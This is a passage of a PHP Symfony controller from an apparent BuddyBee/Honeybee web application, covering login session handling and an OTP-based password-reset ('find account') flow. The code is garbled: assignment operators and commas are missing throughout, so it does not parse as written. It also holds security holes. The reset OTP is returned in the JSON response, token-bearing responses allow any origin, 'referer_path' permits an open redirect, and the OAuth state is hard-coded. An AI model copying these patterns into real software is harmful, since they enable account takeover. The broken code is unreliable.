  7733.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7734.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7735.                         //new
  7736.                         'appIdList' => $session->get('appIdList'),
  7737.                         'branchIdList' => $session->get('branchIdList'null),
  7738.                         'branchId' => $session->get('branchId'null),
  7739.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7740.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7741.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7742.                     );
  7743.                     $accessList = [];
  7744. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7745.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7746.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7747.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7748.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7749.                                 $d = array(
  7750.                                     'userType' => $thisUserUserType,
  7751. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7752.                                     'userTypeName' => $userTypeName,
  7753.                                     'globalId' => $globalId,
  7754.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7755.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7756.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7757.                                     'systemType' => '_ERP_',
  7758.                                     'companyId' => 1,
  7759.                                     'appId' => $thisUserAppId,
  7760.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7761.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7762.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7763.                                             array(
  7764.                                                 'globalId' => $globalId,
  7765.                                                 'appId' => $thisUserAppId,
  7766.                                                 'authenticate' => 1,
  7767.                                                 'userType' => $thisUserUserType,
  7768.                                                 'userTypeName' => $userTypeName
  7769.                                             )
  7770.                                         )
  7771.                                     ),
  7772.                                     'userCompanyList' => [
  7773.                                     ]
  7774.                                 );
  7775.                                 $accessList[] = $d;
  7776.                             }
  7777.                         }
  7778.                     }
  7779.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7780.                     $session_data['userAccessList'] = $accessList;
  7781.                     $session->set('userAccessList'json_encode($accessList));
  7782.                     $session_data $this->filterClientSessionData($session_data);
  7783.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7784.                     $session_data $tokenData['sessionData'];
  7785.                     $token $tokenData['token'];
  7786.                     $session->set('token'$token);
  7787.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7788.                         $session->set('remoteVerified'1);
  7789.                         $response = new JsonResponse(array(
  7790.                             'token' => $token,
  7791.                             'uid' => $session->get(UserConstants::USER_ID),
  7792.                             'session' => $session,
  7793.                             'success' => true,
  7794.                             'session_data' => $session_data,
  7795.                         ));
  7796.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7797.                         return $response;
  7798.                     }
  7799.                     if ($request->request->has('referer_path')) {
  7800.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7801.                             return $this->redirect($request->request->get('referer_path'));
  7802.                         }
  7803.                     }
  7804.                     $redirectRoute 'applicant_dashboard';
  7805.                     if ($request->query->has('encData')) {
  7806.                         if ($request->query->get('encData') == '8917922')
  7807.                             $redirectRoute 'apply_for_consultant';
  7808.                     }
  7809.                     return $this->redirectToRoute($redirectRoute);
  7810.                 }
  7811. //                    $response = new JsonResponse(array(
  7812. //                        'token' => $token,
  7813. //                        'uid' => $session->get(UserConstants::USER_ID),
  7814. //                        'session' => $session,
  7815. //
  7816. //                        'success' => true,
  7817. //                        'session_data' => $session_data,
  7818. //
  7819. //                    ));
  7820. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7821. //                    return $response;
  7822. //                    return $this->redirectToRoute("user_login", [
  7823. //                        'id' => $isApplicantExist->getApplicantId(),
  7824. //                        'oAuthData' => $oAuthData,
  7825. //                        'encData' => $encData,
  7826. //                        'locale' => $request->request->get('locale', 'en'),
  7827. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7828. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7829. //                    ]);
  7830.             }
  7831.         }
  7832.         $selector BuddybeeConstant::$selector;
  7833.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7834.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7835.         if ($systemType == '_ERP_') {
  7836.         } else if ($systemType == '_SOPHIA_') {
  7837.             return $this->render(
  7838.                 '@Sophia/pages/views/sofia_login.html.twig',
  7839.                 [
  7840.                     'page_title' => 'Sophia Login',
  7841.                     'oAuthLink' => $google_client->createAuthUrl(),
  7842.                     'redirect_url' => $url,
  7843.                     'message' => $message,
  7844.                     'systemType' => $systemType,
  7845.                     'ownServerId' => $ownServerId,
  7846.                     'errorField' => '',
  7847.                     'encData' => $encData,
  7848.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7849.                     'selector' => $selector,
  7850.                 ]
  7851.             );
  7852.         } else if ($systemType == '_CENTRAL_') {
  7853.             return $this->render(
  7854.                 '@Authentication/pages/views/central_login.html.twig',
  7855.                 [
  7856.                     'page_title' => 'Central Login',
  7857.                     'oAuthLink' => $google_client->createAuthUrl(),
  7858.                     'redirect_url' => $url,
  7859.                     'message' => $message,
  7860.                     'systemType' => $systemType,
  7861.                     'ownServerId' => $ownServerId,
  7862.                     'errorField' => '',
  7863.                     'encData' => $encData,
  7864.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7865.                     'selector' => $selector,
  7866.                 ]
  7867.             );
  7868.         } else if ($systemType == '_BUDDYBEE_') {
  7869.             return $this->render(
  7870.                 '@Authentication/pages/views/applicant_login.html.twig',
  7871.                 [
  7872.                     'page_title' => 'BuddyBee Login',
  7873.                     'oAuthLink' => $google_client->createAuthUrl(),
  7874.                     'redirect_url' => $url,
  7875.                     'message' => $message,
  7876.                     'errorField' => $errorField,
  7877.                     'encData' => $encData,
  7878.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7879.                     'selector' => $selector
  7880.                 ]
  7881.             );
  7882.         }
  7883.         return $this->render(
  7884.             '@Authentication/pages/views/applicant_login.html.twig',
  7885.             [
  7886.                 'page_title' => 'Applicant Registration',
  7887.                 'oAuthLink' => $google_client->createAuthUrl(),
  7888.                 'redirect_url' => $url,
  7889.                 'encData' => $encData,
  7890.                 'message' => $message,
  7891.                 'errorField' => $errorField,
  7892.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7893.                 'selector' => $selector
  7894.             ]
  7895.         );
  7896.     }
  7897.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7898.     {
  7899. //        $userCategory=$request->request->has('userCategory');
  7900.         $encryptedData = [];
  7901.         $errorField '';
  7902.         $message '';
  7903.         $userType '';
  7904.         $otpExpireSecond 180;
  7905.         $otpExpireTs 0;
  7906.         $otp '';
  7907.         if ($encData != '')
  7908.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7909. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7910.         $userCategory '_BUDDYBEE_USER_';
  7911.         if (isset($encryptedData['userCategory']))
  7912.             $userCategory $encryptedData['userCategory'];
  7913.         else
  7914.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7915.         $em $this->getDoctrine()->getManager('company_group');
  7916.         $em_goc $this->getDoctrine()->getManager('company_group');
  7917.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7918.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7919.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7920.         $twigData = [];
  7921.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7922.         $email_address $request->request->get('email''');
  7923.         $email_twig_data = [];
  7924.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7925.         if ($request->isMethod('POST')) {
  7926.             //set an otp and its expire and send mail
  7927.             $email_address $request->request->get('email');
  7928.             $userObj null;
  7929.             $userData = [];
  7930.             if ($systemType == '_ERP_') {
  7931.                 if ($userCategory == '_APPLICANT_') {
  7932.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7933.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7934.                         array(
  7935.                             'email' => $email_address
  7936.                         )
  7937.                     );
  7938.                     if ($userObj) {
  7939.                     } else {
  7940.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7941.                             array(
  7942.                                 'oAuthEmail' => $email_address
  7943.                             )
  7944.                         );
  7945.                         if ($userObj) {
  7946.                         } else {
  7947.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7948.                                 array(
  7949.                                     'username' => $email_address
  7950.                                 )
  7951.                             );
  7952.                         }
  7953.                     }
  7954.                     if ($userObj) {
  7955.                         $email_address $userObj->getEmail();
  7956.                         if ($email_address == null || $email_address == '')
  7957.                             $email_address $userObj->getOAuthEmail();
  7958.                     }
  7959. //                    triggerResetPassword:
  7960. //                    type: integer
  7961. //                          nullable: true
  7962.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7963.                     $otp $otpData['otp'];
  7964.                     $otpExpireTs $otpData['expireTs'];
  7965.                     $userObj->setOtp($otpData['otp']);
  7966.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7967.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7968.                     $em_goc->flush();
  7969.                     $userData = array(
  7970.                         'id' => $userObj->getApplicantId(),
  7971.                         'email' => $email_address,
  7972.                         'appId' => 0,
  7973. //                        'appId'=>$userObj->getUserAppId(),
  7974.                     );
  7975.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7976.                     $email_twig_data = [
  7977.                         'page_title' => 'Find Account',
  7978.                         'encryptedData' => $encryptedData,
  7979.                         'message' => $message,
  7980.                         'userType' => $userType,
  7981.                         'errorField' => $errorField,
  7982.                         'otp' => $otpData['otp'],
  7983.                         'otpExpireSecond' => $otpExpireSecond,
  7984.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7985.                         'otpExpireTs' => $otpData['expireTs'],
  7986.                         'systemType' => $systemType,
  7987.                         'userData' => $userData
  7988.                     ];
  7989.                     if ($userObj)
  7990.                         $email_twig_data['success'] = true;
  7991.                 } else {
  7992.                     $userType UserConstants::USER_TYPE_GENERAL;
  7993.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7994.                     $email_twig_data = [
  7995.                         'page_title' => 'Find Account',
  7996.                         'encryptedData' => $encryptedData,
  7997.                         'message' => $message,
  7998.                         'userType' => $userType,
  7999.                         'errorField' => $errorField,
  8000.                     ];
  8001.                 }
  8002.             } else if ($systemType == '_CENTRAL_') {
  8003.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8004.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8005.                     array(
  8006.                         'email' => $email_address
  8007.                     )
  8008.                 );
  8009.                 if ($userObj) {
  8010.                 } else {
  8011.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8012.                         array(
  8013.                             'oAuthEmail' => $email_address
  8014.                         )
  8015.                     );
  8016.                     if ($userObj) {
  8017.                     } else {
  8018.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8019.                             array(
  8020.                                 'username' => $email_address
  8021.                             )
  8022.                         );
  8023.                     }
  8024.                 }
  8025.                 if ($userObj) {
  8026.                     $email_address $userObj->getEmail();
  8027.                     if ($email_address == null || $email_address == '')
  8028.                         $email_address $userObj->getOAuthEmail();
  8029.                     //                    triggerResetPassword:
  8030. //                    type: integer
  8031. //                          nullable: true
  8032.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8033.                     $otp $otpData['otp'];
  8034.                     $otpExpireTs $otpData['expireTs'];
  8035.                     $userObj->setOtp($otpData['otp']);
  8036.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8037.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8038.                     $em_goc->flush();
  8039.                     $userData = array(
  8040.                         'id' => $userObj->getApplicantId(),
  8041.                         'email' => $email_address,
  8042.                         'appId' => 0,
  8043.                         'image' => $userObj->getImage(),
  8044.                         'firstName' => $userObj->getFirstname(),
  8045.                         'lastName' => $userObj->getLastname(),
  8046.                         'phone' => $userObj->getPhone(),
  8047. //                        'appId'=>$userObj->getUserAppId(),
  8048.                     );
  8049.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8050.                     $email_twig_data = [
  8051.                         'page_title' => 'Find Account',
  8052.                         'encryptedData' => $encryptedData,
  8053.                         'message' => $message,
  8054.                         'userType' => $userType,
  8055.                         'errorField' => $errorField,
  8056.                         'otp' => $otpData['otp'],
  8057.                         'otpExpireSecond' => $otpExpireSecond,
  8058.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8059.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8060.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8061.                         'otpExpireTs' => $otpData['expireTs'],
  8062.                         'systemType' => $systemType,
  8063.                         'userCategory' => $userCategory,
  8064.                         'userData' => $userData
  8065.                     ];
  8066.                     $email_twig_data['success'] = true;
  8067.                 } else {
  8068.                     $message "Oops! Could not find your account";
  8069.                     $email_twig_data['success'] = false;
  8070.                 }
  8071.             } else if ($systemType == '_BUDDYBEE_') {
  8072.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8073.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8074.                     array(
  8075.                         'email' => $email_address
  8076.                     )
  8077.                 );
  8078.                 if ($userObj) {
  8079.                 } else {
  8080.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8081.                         array(
  8082.                             'oAuthEmail' => $email_address
  8083.                         )
  8084.                     );
  8085.                     if ($userObj) {
  8086.                     } else {
  8087.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8088.                             array(
  8089.                                 'username' => $email_address
  8090.                             )
  8091.                         );
  8092.                     }
  8093.                 }
  8094.                 if ($userObj) {
  8095.                     $email_address $userObj->getEmail();
  8096.                     if ($email_address == null || $email_address == '')
  8097.                         $email_address $userObj->getOAuthEmail();
  8098.                     //                    triggerResetPassword:
  8099. //                    type: integer
  8100. //                          nullable: true
  8101.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8102.                     $otp $otpData['otp'];
  8103.                     $otpExpireTs $otpData['expireTs'];
  8104.                     $userObj->setOtp($otpData['otp']);
  8105.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8106.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8107.                     $em_goc->flush();
  8108.                     $userData = array(
  8109.                         'id' => $userObj->getApplicantId(),
  8110.                         'email' => $email_address,
  8111.                         'appId' => 0,
  8112.                         'image' => $userObj->getImage(),
  8113.                         'firstName' => $userObj->getFirstname(),
  8114.                         'lastName' => $userObj->getLastname(),
  8115.                         'phone' => $userObj->getPhone(),
  8116. //                        'appId'=>$userObj->getUserAppId(),
  8117.                     );
  8118.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8119.                     $email_twig_data = [
  8120.                         'page_title' => 'Find Account',
  8121.                         'encryptedData' => $encryptedData,
  8122.                         'message' => $message,
  8123.                         'userType' => $userType,
  8124.                         'errorField' => $errorField,
  8125.                         'otp' => $otpData['otp'],
  8126.                         'otpExpireSecond' => $otpExpireSecond,
  8127.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8128.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8129.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8130.                         'otpExpireTs' => $otpData['expireTs'],
  8131.                         'systemType' => $systemType,
  8132.                         'userCategory' => $userCategory,
  8133.                         'userData' => $userData
  8134.                     ];
  8135.                     $email_twig_data['success'] = true;
  8136.                 } else {
  8137.                     $message "Oops! Could not find your account";
  8138.                     $email_twig_data['success'] = false;
  8139.                 }
  8140.             }
  8141.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8142.                 if ($systemType == '_BUDDYBEE_') {
  8143.                     $bodyHtml '';
  8144.                     $bodyTemplate $email_twig_file;
  8145.                     $bodyData $email_twig_data;
  8146.                     $attachments = [];
  8147.                     $forwardToMailAddress $email_address;
  8148. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8149.                     $new_mail $this->get('mail_module');
  8150.                     $new_mail->sendMyMail(array(
  8151.                         'senderHash' => '_CUSTOM_',
  8152.                         //                        'senderHash'=>'_CUSTOM_',
  8153.                         'forwardToMailAddress' => $forwardToMailAddress,
  8154.                         'subject' => 'Account Verification',
  8155. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8156.                         'attachments' => $attachments,
  8157.                         'toAddress' => $forwardToMailAddress,
  8158.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8159.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8160.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8161.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8162.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8163. //                            'emailBody' => $bodyHtml,
  8164.                         'mailTemplate' => $bodyTemplate,
  8165.                         'templateData' => $bodyData,
  8166. //                        'embedCompanyImage' => 1,
  8167. //                        'companyId' => $companyId,
  8168. //                        'companyImagePath' => $company_data->getImage()
  8169.                     ));
  8170.                 } else if ($systemType == '_CENTRAL_') {
  8171.                     $bodyHtml '';
  8172.                     $bodyTemplate $email_twig_file;
  8173.                     $bodyData $email_twig_data;
  8174.                     $attachments = [];
  8175.                     $forwardToMailAddress $email_address;
  8176. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8177.                     $new_mail $this->get('mail_module');
  8178.                     $new_mail->sendMyMail(array(
  8179.                         'senderHash' => '_CUSTOM_',
  8180.                         //                        'senderHash'=>'_CUSTOM_',
  8181.                         'forwardToMailAddress' => $forwardToMailAddress,
  8182.                         'subject' => 'Account Verification',
  8183. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8184.                         'attachments' => $attachments,
  8185.                         'toAddress' => $forwardToMailAddress,
  8186.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8187.                         'userName' => 'accounts@ourhoneybee.eu',
  8188.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8189.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8190.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8191. //                            'emailBody' => $bodyHtml,
  8192.                         'mailTemplate' => $bodyTemplate,
  8193.                         'templateData' => $bodyData,
  8194. //                        'embedCompanyImage' => 1,
  8195. //                        'companyId' => $companyId,
  8196. //                        'companyImagePath' => $company_data->getImage()
  8197.                     ));
  8198.                 } else {
  8199.                     $bodyHtml '';
  8200.                     $bodyTemplate $email_twig_file;
  8201.                     $bodyData $email_twig_data;
  8202.                     $attachments = [];
  8203.                     $forwardToMailAddress $email_address;
  8204. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8205.                     $new_mail $this->get('mail_module');
  8206.                     $new_mail->sendMyMail(array(
  8207.                         'senderHash' => '_CUSTOM_',
  8208.                         //                        'senderHash'=>'_CUSTOM_',
  8209.                         'forwardToMailAddress' => $forwardToMailAddress,
  8210.                         'subject' => 'Applicant Registration on Honeybee',
  8211. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8212.                         'attachments' => $attachments,
  8213.                         'toAddress' => $forwardToMailAddress,
  8214.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8215.                         'userName' => 'accounts@ourhoneybee.eu',
  8216.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8217.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8218.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8219.                         'emailBody' => $bodyHtml,
  8220.                         'mailTemplate' => $bodyTemplate,
  8221.                         'templateData' => $bodyData,
  8222. //                        'embedCompanyImage' => 1,
  8223. //                        'companyId' => $companyId,
  8224. //                        'companyImagePath' => $company_data->getImage()
  8225.                     ));
  8226.                 }
  8227.             }
  8228.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8229.                 if ($systemType == '_BUDDYBEE_') {
  8230.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8231.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8232.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8233.                      _APPEND_CODE_';
  8234.                     $msg str_replace($searchVal$replaceVal$msg);
  8235.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8236.                     $sendType 'all';
  8237.                     $socketUserIds = [];
  8238.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8239.                 } else {
  8240.                 }
  8241.             }
  8242.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8243.                 $response = new JsonResponse(array(
  8244.                         'templateData' => $twigData,
  8245.                         'message' => $message,
  8246. //                        "otp"=>'',
  8247.                         "otp" => $otp,
  8248.                         "otpExpireTs" => $otpExpireTs,
  8249.                         'actionData' => $email_twig_data,
  8250.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8251.                     )
  8252.                 );
  8253.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8254.                 return $response;
  8255.             } else if ($email_twig_data['success'] == true) {
  8256.                 $encData = array(
  8257.                     "userType" => $userType,
  8258.                     "otp" => '',
  8259. //                "otp"=>$otp,
  8260.                     "otpExpireTs" => $otpExpireTs,
  8261.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8262.                     "userCategory" => $userCategory,
  8263.                     "userId" => $userData['id'],
  8264.                     "systemType" => $systemType,
  8265.                     "email" => $email_address,
  8266.                 );
  8267.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8268.                 $url $this->generateUrl(
  8269.                     'verify_otp'
  8270.                 );
  8271.                 return $this->redirect($url "/" $encDataStr);
  8272. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8273. ////                    'encData'
  8274. ////                'id' => $isApplicantExist->getApplicantId(),
  8275. ////                'oAuthData' => $oAuthData,
  8276. ////                'refRoute' => $refRoute,
  8277. //                ]);
  8278.             }
  8279.         }
  8280.         if ($systemType == '_ERP_') {
  8281.             if ($userCategory == '_APPLICANT_') {
  8282.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8283.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8284.                 $twigData = [
  8285.                     'page_title' => 'Find Account',
  8286.                     'encryptedData' => $encryptedData,
  8287.                     'message' => $message,
  8288.                     'systemType' => $systemType,
  8289.                     'ownServerId' => $ownServerId,
  8290.                     'userType' => $userType,
  8291.                     'errorField' => $errorField,
  8292.                 ];
  8293.             } else {
  8294.                 $userType UserConstants::USER_TYPE_GENERAL;
  8295.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8296.                 $twigData = [
  8297.                     'page_title' => 'Find Account',
  8298.                     'encryptedData' => $encryptedData,
  8299.                     'systemType' => $systemType,
  8300.                     'ownServerId' => $ownServerId,
  8301.                     'message' => $message,
  8302.                     'userType' => $userType,
  8303.                     'errorField' => $errorField,
  8304.                 ];
  8305.             }
  8306.         } else if ($systemType == '_CENTRAL_') {
  8307.             $userType UserConstants::USER_TYPE_APPLICANT;
  8308.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8309.             $twigData = [
  8310.                 'page_title' => 'Find Account',
  8311.                 'encryptedData' => $encryptedData,
  8312.                 'systemType' => $systemType,
  8313.                 'ownServerId' => $ownServerId,
  8314.                 "otp" => '',
  8315. //                "otp"=>$otp,
  8316.                 "otpExpireTs" => $otpExpireTs,
  8317.                 'message' => $message,
  8318.                 'userType' => $userType,
  8319.                 'errorField' => $errorField,
  8320.             ];
  8321.         } else if ($systemType == '_BUDDYBEE_') {
  8322.             $userType UserConstants::USER_TYPE_APPLICANT;
  8323.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8324.             $twigData = [
  8325.                 'page_title' => 'Find Account',
  8326.                 'encryptedData' => $encryptedData,
  8327.                 "otp" => '',
  8328.                 'systemType' => $systemType,
  8329.                 'ownServerId' => $ownServerId,
  8330. //                "otp"=>$otp,
  8331.                 "otpExpireTs" => $otpExpireTs,
  8332.                 'message' => $message,
  8333.                 'userType' => $userType,
  8334.                 'errorField' => $errorField,
  8335.             ];
  8336.         }
  8337.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8338.             $response = new JsonResponse(array(
  8339.                     'templateData' => $twigData,
  8340.                     'message' => $message,
  8341.                     "otp" => '',
  8342. //                "otp"=>$otp,
  8343.                     "otpExpireTs" => $otpExpireTs,
  8344.                     'actionData' => $email_twig_data,
  8345.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8346.                 )
  8347.             );
  8348.             $response->headers->set('Access-Control-Allow-Origin''*');
  8349.             return $response;
  8350.         } else {
  8351.             return $this->render(
  8352.                 $twig_file,
  8353.                 $twigData
  8354.             );
  8355.         }
  8356.     }
  8357.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8358.     {
  8359. //        $userCategory=$request->request->has('userCategory');
  8360.         $encryptedData = [];
  8361.         $errorField '';
  8362.         $message '';
  8363.         $userType '';
  8364.         $otpExpireSecond 180;
  8365.         $otpExpireTs 0;
  8366.         $otp '';
  8367.         if ($encData != '')
  8368.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8369. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8370.         $userCategory '_BUDDYBEE_USER_';
  8371.         if (isset($encryptedData['userCategory']))
  8372.             $userCategory $encryptedData['userCategory'];
  8373.         else
  8374.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8375.         $em $this->getDoctrine()->getManager('company_group');
  8376.         $em_goc $this->getDoctrine()->getManager('company_group');
  8377.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8378.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8379.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8380.         $twigData = [];
  8381.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8382.         $email_address $request->request->get('email''');
  8383.         $email_twig_data = [];
  8384.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8385.         if ($request->isMethod('POST')) {
  8386.             //set an otp and its expire and send mail
  8387.             $email_address $request->request->get('email');
  8388.             $userObj null;
  8389.             $userData = [];
  8390.             if ($systemType == '_ERP_') {
  8391.                 if ($userCategory == '_APPLICANT_') {
  8392.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8393.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8394.                         array(
  8395.                             'email' => $email_address
  8396.                         )
  8397.                     );
  8398.                     if ($userObj) {
  8399.                     } else {
  8400.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8401.                             array(
  8402.                                 'oAuthEmail' => $email_address
  8403.                             )
  8404.                         );
  8405.                         if ($userObj) {
  8406.                         } else {
  8407.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8408.                                 array(
  8409.                                     'username' => $email_address
  8410.                                 )
  8411.                             );
  8412.                         }
  8413.                     }
  8414.                     if ($userObj) {
  8415.                         $email_address $userObj->getEmail();
